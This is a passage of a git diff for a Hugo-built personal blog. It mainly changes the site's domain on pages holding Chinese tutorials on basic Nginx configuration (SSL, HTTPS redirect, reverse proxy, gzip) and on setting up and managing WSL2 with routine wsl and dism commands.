href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Nginx服务器的一些简单配置</h1><div class=post-meta><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Nginx%e6%9c%8d%e5%8a%a1%e5%99%a8%e7%9a%84%e4%b8%80%e4%ba%9b%e7%ae%80%e5%8d%95%e9%85%8d%e7%bd%ae.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>配置ssl证书</p><p>前提是已经申请到ssl证书,并且开放443端口</p><p>编辑nginx.conf</p><p>将443那几行的注释去掉（#）,并且修改</p><p>ssl_certificate &ldquo;crt证书的绝对路径&rdquo;;
+ssl_certificate_key"key证书的绝对路径";</p><p>如果想访问网站就301重定向到https，那么添加这几行</p><pre><code>server{
+    listen 80;
+    server_name xiaochenabc123.test.com;
+    rewrite ^(.*) https://$host$1 permanent;
+}
+</code></pre><p># 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果</p><p>然后刷新一下配置nginx -s</p><hr><p>nginx反向代理配置</p><p>将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果</p><p>配置nginx.conf</p><pre><code>location / {
+    proxy_pass https://test.xiaochenabc123.test.com;   # 反向代理服务器地址
+    proxy_connect_timeout 200;  # 设置连接超时
+    proxy_read_timeout 200;  #  设置读响应超时
+}
+</code></pre><p>重启Nginx服务：service nginx restart</p><p>请求当前服务器时，当前服务器将请求转发给地址为 <a href=https://test.xiaochenabc123.test.com>https://test.xiaochenabc123.test.com</a> 的服务器处理</p><hr><p>gzip压缩</p><pre><code>gzip on;
+gzip_comp_level 1; 
+gzip_min_length 10;
+gzip_http_version 1.1;
+gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
+</code></pre><p>解释：</p><p>gzip on // gzip开启，关闭是off</p><p>gzip_buffers 16 8k // 设置处理请求压缩的缓冲区数量和大小，一般不会设置，默认</p><p>gzip_comp_level 1 // 设置压缩比，数值1至9，压缩文件越小越吃CPU，最性价比的是1</p><p>gzip_min_length 10 // 当文件超过这个值才启用压缩，单位k，值为0时表示全站压缩</p><p>gzip_http_version 1.1 // 这个1.1是指http版本，只有http/1.1以上才启用gzip，例如http/1.0就不启用</p><p>gzip_types text/html // 指定要压缩的MIME类型，请求不在这个指定内范围的文件不进行压缩</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/server/>server</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/35/><span class=title>« Prev</span><br><span>wsl2-windows子系统简单配置</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/33/><span class=title>Next »</span><br><span>Linux环境下简单搭建Minecraft服务器（java版）</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/35/index.html b/posts/35/index.html
index cb194e8c..4c9d221f 100644
--- a/posts/35/index.html
+++ b/posts/35/index.html
@@ -24,8 +24,8 @@
 wsl &ndash;install
 查看可用的Linux发行版
 wsl &ndash;list &ndash;online
-或者"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/35/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="wsl2-windows子系统简单配置"><meta property="og:description" content="wsl全称Windows Subsystem for Linux
+或者"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/35/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="wsl2-windows子系统简单配置"><meta property="og:description" content="wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
 启用 wsl
@@ -51,7 +51,7 @@
 wsl &ndash;install
 查看可用的Linux发行版
 wsl &ndash;list &ndash;online
-或者"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/35/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T17:43:00+00:00"><meta property="article:modified_time" content="2021-06-16T17:43:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="wsl2-windows子系统简单配置"><meta name=twitter:description content="wsl全称Windows Subsystem for Linux
+或者"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/35/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T17:43:00+00:00"><meta property="article:modified_time" content="2021-06-16T17:43:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="wsl2-windows子系统简单配置"><meta name=twitter:description content="wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
 启用 wsl
@@ -77,9 +77,9 @@
 wsl &ndash;install
 查看可用的Linux发行版
 wsl &ndash;list &ndash;online
-或者"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"wsl2-windows子系统简单配置","item":"https://xiaochenabc123.github.io/posts/35/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"wsl2-windows子系统简单配置","name":"wsl2-windows子系统简单配置","description":"wsl全称Windows Subsystem for Linux\n打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启\n打开Windows Power Shell，输入\n启用 wsl\ndism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart\n启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）\ndism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart\n下载并且安装Linux内核更新包 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi\nwsl.exe \u0026ndash;install或者wsl -l -v检查是否安装正常\n切换wsl2为默认\nwsl \u0026ndash;set-default-version 2\nLinux子系统切换为wsl\nwsl \u0026ndash;set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看\n报错 Installing, this may take a few minutes\u0026hellip;\n解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了\n开启wsl2不需要开启预览版本！！！\n推荐个Visual Studio Code插件\nRemote - WSL\n可以免密登录Linux子系统，操作Linux子系统里面的数据\n重启wsl\nwin+r+services.msc\n找到Lxssmanager服务，重新启动\n安装运行Linux系统所需要的功能（默认情况下安装ubuntu）\nwsl \u0026ndash;install\n查看可用的Linux发行版\nwsl \u0026ndash;list \u0026ndash;online\n或者","keywords":["wsl","windows"],"articleBody":"wsl全称Windows Subsystem for Linux\n打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启\n打开Windows Power Shell，输入\n启用 wsl\ndism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart\n启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）\ndism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart\n下载并且安装Linux内核更新包 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi\nwsl.exe –install或者wsl -l -v检查是否安装正常\n切换wsl2为默认\nwsl –set-default-version 2\nLinux子系统切换为wsl\nwsl –set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看\n报错 Installing, this may take a few minutes…\n解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了\n开启wsl2不需要开启预览版本！！！\n推荐个Visual Studio Code插件\nRemote - WSL\n可以免密登录Linux子系统，操作Linux子系统里面的数据\n重启wsl\nwin+r+services.msc\n找到Lxssmanager服务，重新启动\n安装运行Linux系统所需要的功能（默认情况下安装ubuntu）\nwsl –install\n查看可用的Linux发行版\nwsl –list –online\n或者\nwsl -l -o\n安装指定发行版\nwsl –install -d Ubuntu\n查看本地安装发行版的版本以及状态（Running为正在运行中，为停止运行中）\nwsl -l -v\n停止运行（启动也很简单，重新执行Ubuntu2004，进入系统，就会启动）\nwsl –shutdown\n修改默认版本\nwsl -s Ubuntu-20.04\n卸载本地安装的发行版（全部数据都将清除）\nwsl –unregister Ubuntu\n更新wsl内核\nwsl –update\n回滚到wsl内核上一个版本\nwsl –update rollback\nwsl发行版会将windows认为是挂载，mnt目录就是windows的目录\n导出本地发行版\nwsl –export Ubuntu-20.04 d:\\ubuntu20.04.tar\n导入（在文件夹中看到vhdx文件，表示导入成功，导入的时候请确保本地没有同名的发行版，如果有需要卸载后导入）\nwsl –import Ubuntu-20.04 d:\\wsl\\ubuntu d:\\ubuntu20.04.tar\n修改默认登陆用户\nubuntu2004 config –default-user root\n","wordCount":"117","inLanguage":"en","datePublished":"2021-06-16T17:43:00Z","dateModified":"2021-06-16T17:43:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/35/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>wsl2-windows子系统简单配置</h1><div class=post-meta><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/wsl2-windows%e5%ad%90%e7%b3%bb%e7%bb%9f%e7%ae%80%e5%8d%95%e9%85%8d%e7%bd%ae.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>wsl全称Windows Subsystem for Linux</p><p>打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启</p><p>打开Windows Power Shell，输入</p><p>启用 wsl</p><p>dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart</p><p>启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）</p><p>dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart</p><p>下载并且安装Linux内核更新包
-<a href=https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi>https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi</a></p><p>wsl.exe &ndash;install或者wsl -l -v检查是否安装正常</p><p>切换wsl2为默认</p><p>wsl &ndash;set-default-version 2</p><p>Linux子系统切换为wsl</p><p>wsl &ndash;set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看</p><p>报错 Installing, this may take a few minutes&mldr;</p><p>解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了</p><p>开启wsl2不需要开启预览版本！！！</p><p>推荐个Visual Studio Code插件</p><p>Remote - WSL</p><p>可以免密登录Linux子系统，操作Linux子系统里面的数据</p><p>重启wsl</p><p>win+r+services.msc</p><p>找到Lxssmanager服务，重新启动</p><hr><p>安装运行Linux系统所需要的功能（默认情况下安装ubuntu）</p><p>wsl &ndash;install</p><p>查看可用的Linux发行版</p><p>wsl &ndash;list &ndash;online</p><p>或者</p><p>wsl -l -o</p><p>安装指定发行版</p><p>wsl &ndash;install -d Ubuntu</p><p>查看本地安装发行版的版本以及状态（Running为正在运行中，为停止运行中）</p><p>wsl -l -v</p><p>停止运行（启动也很简单，重新执行Ubuntu2004，进入系统，就会启动）</p><p>wsl &ndash;shutdown</p><p>修改默认版本</p><p>wsl -s Ubuntu-20.04</p><p>卸载本地安装的发行版（全部数据都将清除）</p><p>wsl &ndash;unregister Ubuntu</p><p>更新wsl内核</p><p>wsl &ndash;update</p><p>回滚到wsl内核上一个版本</p><p>wsl &ndash;update rollback</p><p>wsl发行版会将windows认为是挂载，mnt目录就是windows的目录</p><p>导出本地发行版</p><p>wsl &ndash;export Ubuntu-20.04 d:\ubuntu20.04.tar</p><p>导入（在文件夹中看到vhdx文件，表示导入成功，导入的时候请确保本地没有同名的发行版，如果有需要卸载后导入）</p><p>wsl &ndash;import Ubuntu-20.04 d:\wsl\ubuntu d:\ubuntu20.04.tar</p><p>修改默认登陆用户</p><p>ubuntu2004 config &ndash;default-user root</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/wsl/>wsl</a></li><li><a href=https://xiaochenabc123.github.io/tags/windows/>windows</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/38/><span class=title>« Prev</span><br><span>Yarn包管理工具的简单使用</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/34/><span class=title>Next »</span><br><span>Nginx服务器的一些简单配置</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+或者"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"wsl2-windows子系统简单配置","item":"https://chenjunlinabc.github.io/posts/35/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"wsl2-windows子系统简单配置","name":"wsl2-windows子系统简单配置","description":"wsl全称Windows Subsystem for Linux\n打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启\n打开Windows Power Shell，输入\n启用 wsl\ndism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart\n启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）\ndism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart\n下载并且安装Linux内核更新包 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi\nwsl.exe \u0026ndash;install或者wsl -l -v检查是否安装正常\n切换wsl2为默认\nwsl \u0026ndash;set-default-version 2\nLinux子系统切换为wsl\nwsl \u0026ndash;set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看\n报错 Installing, this may take a few minutes\u0026hellip;\n解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了\n开启wsl2不需要开启预览版本！！！\n推荐个Visual Studio Code插件\nRemote - WSL\n可以免密登录Linux子系统，操作Linux子系统里面的数据\n重启wsl\nwin+r+services.msc\n找到Lxssmanager服务，重新启动\n安装运行Linux系统所需要的功能（默认情况下安装ubuntu）\nwsl \u0026ndash;install\n查看可用的Linux发行版\nwsl \u0026ndash;list \u0026ndash;online\n或者","keywords":["wsl","windows"],"articleBody":"wsl全称Windows Subsystem for Linux\n打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启\n打开Windows Power Shell，输入\n启用 wsl\ndism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart\n启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）\ndism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart\n下载并且安装Linux内核更新包 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi\nwsl.exe –install或者wsl -l -v检查是否安装正常\n切换wsl2为默认\nwsl –set-default-version 2\nLinux子系统切换为wsl\nwsl –set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看\n报错 Installing, this may take a few minutes…\n解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了\n开启wsl2不需要开启预览版本！！！\n推荐个Visual Studio Code插件\nRemote - WSL\n可以免密登录Linux子系统，操作Linux子系统里面的数据\n重启wsl\nwin+r+services.msc\n找到Lxssmanager服务，重新启动\n安装运行Linux系统所需要的功能（默认情况下安装ubuntu）\nwsl –install\n查看可用的Linux发行版\nwsl –list –online\n或者\nwsl -l -o\n安装指定发行版\nwsl –install -d Ubuntu\n查看本地安装发行版的版本以及状态（Running为正在运行中，为停止运行中）\nwsl -l -v\n停止运行（启动也很简单，重新执行Ubuntu2004，进入系统，就会启动）\nwsl –shutdown\n修改默认版本\nwsl -s Ubuntu-20.04\n卸载本地安装的发行版（全部数据都将清除）\nwsl –unregister Ubuntu\n更新wsl内核\nwsl –update\n回滚到wsl内核上一个版本\nwsl –update rollback\nwsl发行版会将windows认为是挂载，mnt目录就是windows的目录\n导出本地发行版\nwsl –export Ubuntu-20.04 d:\\ubuntu20.04.tar\n导入（在文件夹中看到vhdx文件，表示导入成功，导入的时候请确保本地没有同名的发行版，如果有需要卸载后导入）\nwsl –import Ubuntu-20.04 d:\\wsl\\ubuntu d:\\ubuntu20.04.tar\n修改默认登陆用户\nubuntu2004 config –default-user root\n","wordCount":"117","inLanguage":"en","datePublished":"2021-06-16T17:43:00Z","dateModified":"2021-06-16T17:43:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/35/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>wsl2-windows子系统简单配置</h1><div class=post-meta><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/wsl2-windows%e5%ad%90%e7%b3%bb%e7%bb%9f%e7%ae%80%e5%8d%95%e9%85%8d%e7%bd%ae.md rel="noopener noreferrer" target=_blank>Suggest 